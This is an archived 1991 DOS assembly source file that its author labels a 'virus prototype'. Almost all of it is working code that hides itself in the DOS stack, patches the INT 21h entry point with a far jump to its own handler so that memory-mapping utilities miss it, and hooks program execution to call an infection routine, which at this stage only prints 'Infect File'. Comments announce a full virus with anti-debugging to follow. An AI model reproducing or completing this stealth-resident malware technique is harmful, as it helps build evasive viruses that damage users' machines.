home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / STACK.ASM < prev    next >
Assembly Source File  |  1992-09-13  |  5KB  |  198 lines

  1. ;▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
  2. ;▒                                          ▒
  3. ;▒            V I R U S   P R O T O T Y P E                  ▒
  4. ;▒                                          ▒
  5. ;▒   Author    : Waleri Todorov, CICTT, (C)-Copyright 1991, All Rights Rsrvd ▒
  6. ;▒   Date    : 25 Jan 1991     21:05                          ▒
  7. ;▒   Function    : Found DOS stack in put himself in it. Then trace DOS          ▒
  8. ;▒          function EXEC and type 'Infect File'                        ▒
  9. ;▒                                          ▒
  10. ;▒                                          ▒
  11. ;▒     If you want to have fun with this program just run file STACK.COM    ▒
  12. ;▒  Don't worry, this is not a virus yet, just try to find him in memory      ▒
  13. ;▒  with PCTools and/or MAPMEM. If you can -> just erase the source - it is   ▒
  14. ;▒  useless for you. If you can't -> you don't have to look at it - it is too ▒
  15. ;▒  difficult to you to understand it.                          ▒
  16. ;▒                         Best regards, Waleri Todorov     ▒
  17. ;▒                                          ▒
  18. ;▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
  19.  
  20.  
  21.  
  22.  
  23.         mov    ah,52h        ; Get DOS segmenty
  24.         int    21h
  25.  
  26.         cmp    ax,1234h    ; Also check for already here
  27.         jne    Install     ; If not -> install in memory
  28. ReturnControl
  29.  
  30.         int    20h        ; This program will give control
  31.                     ; to main file
  32. Install
  33.         mov    ax,es        ; mov DOS segment in AX
  34.         mov    DosSeg,ax    ; Save DOS segment for further usage
  35.         mov    ds,ax        ; DS now point in DOS segment
  36.  
  37.         call    SearchDos    ; Search DOS entry point
  38.         call    SearchStack    ; Search DOS stack
  39.  
  40.         push    cs        ; DS=ES=CS
  41.         push    cs
  42.         pop    ds
  43.         pop    es
  44.  
  45.         mov    ax,DosSeg    ; get DOS segment in AX
  46.         mov    cl,4        ; AX*=16
  47.         shl    ax,cl
  48.         mov    bx,StackOff    ; Stack new begin in BX
  49.         and    bx,0FFF0h    ; Mask low 4 bit
  50.         add    ax,bx        ; Compute new real address
  51.         mov    cl,4        ; AX/=16
  52.         shr    ax,cl        ; Now we get SEGMENT:0000
  53.         sub    ax,10h        ; Segment-=10-> SEG:100h
  54.         mov    StackOff,ax    ; Save new segment for further usage
  55.         mov    es,ax        ; ES point in DOS New area
  56.         mov    si,100h     ; ES:DI -> DOS:free_space_in_stack
  57.         mov    di,si        ; DS:SI Current segment
  58.         mov    cx,512d     ; Virus is only 512 bytes long
  59.         rep    movsb        ; Move virus to new place
  60.  
  61. ; Installing virus in DOS' stack we will avoid a conflict with PCTools,
  62. ; MAPMEM, and other sys software. Remark, that no one DOS buffer wasn't
  63. ; affected, so if you have program, that count DOS' buffers to found
  64. ; Beast666, she won't found anything.
  65. ; In further release of full virus I will include anti-debugger system,
  66. ; so you will not be able to trace virus
  67.  
  68.         mov    di,DosOff    ; ES:DI point to DOS int21 entry point
  69.         mov    ax,DosSeg
  70.         mov    es,ax
  71.         mov    al,0EAh     ; JMP    XXXX:YYYY
  72.         stosb
  73.         mov    ax,offset Entry21
  74.         stosw            ; New 21 handler's offset
  75.         mov    ax,StackOff
  76.         stosw            ; New 21 handler's segment
  77.  
  78.  
  79. ; Now DOS will make far jump to virus. In case that virus won't
  80. ; get vector 21 directly, MAPMEM-like utilities won't show int 21 catching,
  81. ; and DOSEDIT will operate correctly (with several virus he don't).
  82.  
  83.         inc    di
  84.         inc    di
  85.         mov    Int21off,di    ; Virus will call DOS after jump
  86.         jmp    ReturnControl    ; Return control to file
  87.  
  88. ; At this moment, return control is just terminate program via int 20h.
  89. ; In further release of full virus this subroutine will be able to
  90. ; return control to any file (COM or EXE).
  91.  
  92.  
  93.  
  94. ; These are two scanners subroutine. All they do are scanning DOS segment
  95. ; for several well-known bytes. Then they update some iternal variables.
  96. ; Be patience, when debug this area!
  97.  
  98. SearchDos
  99.         mov    ax,cs:[DosSeg]
  100.         mov    ds,ax
  101.         xor    si,si
  102.  
  103. Search1
  104.         lodsw
  105.         cmp    ax,3A2Eh
  106.         je    NextDos1
  107.         dec    si
  108.         jmp    short Search1
  109. NextDos1
  110.         lodsb
  111.         cmp    al,26h
  112.         je    LastDos
  113.         sub    si,2
  114.         jmp    short Search1
  115. LastDos
  116.         inc    si
  117.         inc    si
  118.         lodsb
  119.         cmp    al,77h
  120.         je    FoundDos
  121.         sub    si,5
  122.         jmp    short Search1
  123. FoundDos
  124.         inc    si
  125.         mov    cs:[Int21off],si
  126.         sub    si,7
  127.         mov    cs:[DosOff],si
  128.         ret
  129.  
  130. SearchStack
  131.         xor    si,si
  132. Search2
  133.         lodsw
  134.         cmp    ax,0CB8Ch
  135.         je    NextStack1
  136.         dec    si
  137.         jmp    short Search2
  138. NextStack1
  139.         lodsw
  140.         cmp    ax,0D38Eh
  141.         je    NextStack2
  142.         sub    si,3
  143.         jmp    short Search2
  144. NextStack2
  145.         lodsb
  146.         cmp    al,0BCh
  147.         je    FoundStack
  148.         sub    si,4
  149.         jmp    short Search2
  150. FoundStack
  151.         mov    di,si
  152.         lodsw
  153.         sub    ax,200h
  154.         stosw
  155.         mov    cs:[StackOff],ax
  156.         ret
  157.  
  158. Entry21                 ; Here is new int 21 handler
  159.         cmp    ah,52h        ; If GET_LIST_OF_LISTS
  160.         jne    NextCheck
  161.  
  162.         mov    ax,1234h    ; then probably I am here
  163.         mov    bx,cs:[DosSeg]    ; so return special bytes in AX
  164.         mov    es,bx
  165.         mov    bx,26h
  166.         iret            ; Terminate AH=52h->return to caller
  167. NextCheck
  168.         cmp    ax,4B00h    ; If EXEC file
  169.         jne    GoDos
  170.         call    Infect        ; then file will be infected
  171. GoDos
  172.         jmp    dword ptr cs:[Int21off]
  173.                     ; Otherwise jump to DOS
  174. Infect
  175.         push    ds        ; At this moment just write on screen
  176.         push    dx
  177.         push    ax
  178.  
  179.         push    cs
  180.         pop    ds
  181.         mov    dx,offset Txt
  182.         mov    ah,9
  183. CallDos
  184.         pushf            ; Call real DOS
  185.         call    dword ptr cs:[Int21off]
  186.  
  187.         pop    ax
  188.         pop    dx
  189.         pop    ds
  190.         ret
  191.  
  192. Int21off    dw    0    ; Offset of DOS 21 AFTER jump to virus
  193. DosSeg        dw    0    ; DOS segment
  194. StackOff    dw    0    ; Offset of stack/New segment
  195. DosOff        dw    0    ; Offset of DOS 21 BEFIRE jump
  196. Txt        db    'Infect File$'  ; Dummy text
  197.  
  198.